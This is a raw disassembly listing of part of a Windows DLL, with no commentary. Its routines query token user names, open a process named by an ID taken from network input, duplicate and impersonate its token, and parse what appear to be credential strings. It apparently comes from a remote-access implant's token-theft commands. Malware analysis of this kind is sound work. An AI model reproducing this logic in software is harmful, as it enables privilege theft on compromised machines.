xor r8d, r8d
lea edx, [r8 + 8]
lea r9, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x180019d32
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x20]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x20]
lea rdx, [rsp + 0x30]
mov r8d, 0x200
call fcn.18001a2f8
test eax, eax
je 0x180019d9e
call fcn.18001a084
lea r9, [rsp + 0x30]
mov edx, 0x400
lea rcx, [rsp + 0x230]
lea r8, str._s__admin_
test eax, eax
jne 0x180019d74
lea r8, [0x18002d7a8]
call fcn.18001ab5c
lea rax, [rsp + 0x230]
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rax + rdx], 0
jne 0x180019d85
lea rcx, [rsp + 0x230]
mov r8d, reloc.WS2_32.dll_recv
call rbx
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x630]
xor rcx, rsp
call fcn.18001b630
add rsp, 0x640
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0xc00
mov r12, r8
mov ebx, edx
call fcn.180015838
mov r13d, 0x400
mov rcx, rax
mov edx, r13d
mov r14, rax
call fcn.180015950
mov edx, r13d
mov rcx, r14
mov r15, rax
call fcn.180015950
mov edx, r13d
mov rcx, r14
mov rsi, rax
call fcn.180015950
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.18001590c
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r15
call fcn.1800159b0
test eax, eax
je 0x180019e8a
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rsi
call fcn.1800159b0
test eax, eax
je 0x180019e8a
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rbp
call fcn.1800159b0
test eax, eax
je 0x180019e8a
mov r9, r12
mov r8, rbp
mov rdx, rsi
mov rcx, r15
call fcn.18001a12c
mov rcx, r14
call fcn.1800158e8
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
cmp edx, 4
jne 0x18001a081
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x250
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov ecx, dword [rcx]
and qword [rsp + 0x30], 0
mov rsi, r8
call sub.WS2_32.dll_ntohl
xor edx, edx
mov ecx, 0x400
mov r8d, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x180019f63
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi + 0x21]
mov r8d, eax
mov edx, ebx
call fcn.18000d518
jmp 0x18001a05d
lea r8, [rsp + 0x30]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x180019f87
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x24
jmp 0x180019f54
call fcn.180019ea8
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x180019fa8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x25
jmp 0x180019f54
mov rcx, qword [rsp + 0x30]
lea rax, [0x18004a7a0]
mov r9d, 3
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov edx, 0x2000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x180019fe9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x26
jmp 0x180019f54
mov rcx, qword [0x18004a7a0]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x18001a00a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x27
jmp 0x180019f54
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x18001a023
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x18004a7a0]
lea rdx, [rsp + 0x40]
mov r8d, 0x200
call fcn.18001a2f8
test eax, eax
je 0x18001a05d
lea rax, [rsp + 0x40]
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rax + rdx], 0
jne 0x18001a047
lea rcx, [rsp + 0x40]
mov r8d, reloc.WS2_32.dll_ntohs
call rsi
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.18001b630
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001590c
lea rcx, [rsp + 0x20]
call fcn.180015978
lea rcx, [rsp + 0x20]
movzx edi, ax
call fcn.1800158a8
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.18000d124
mov rdx, rbx
mov r8d, eax
movzx ecx, di
call fcn.18001a500
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, 7
call fcn.18001f9a8
nop
xor edx, edx
mov rcx, rbx
call fcn.180029d2c
mov ebx, eax
mov ecx, 7
call fcn.18001fb90
mov eax, ebx
add rsp, 0x20
pop rbx
ret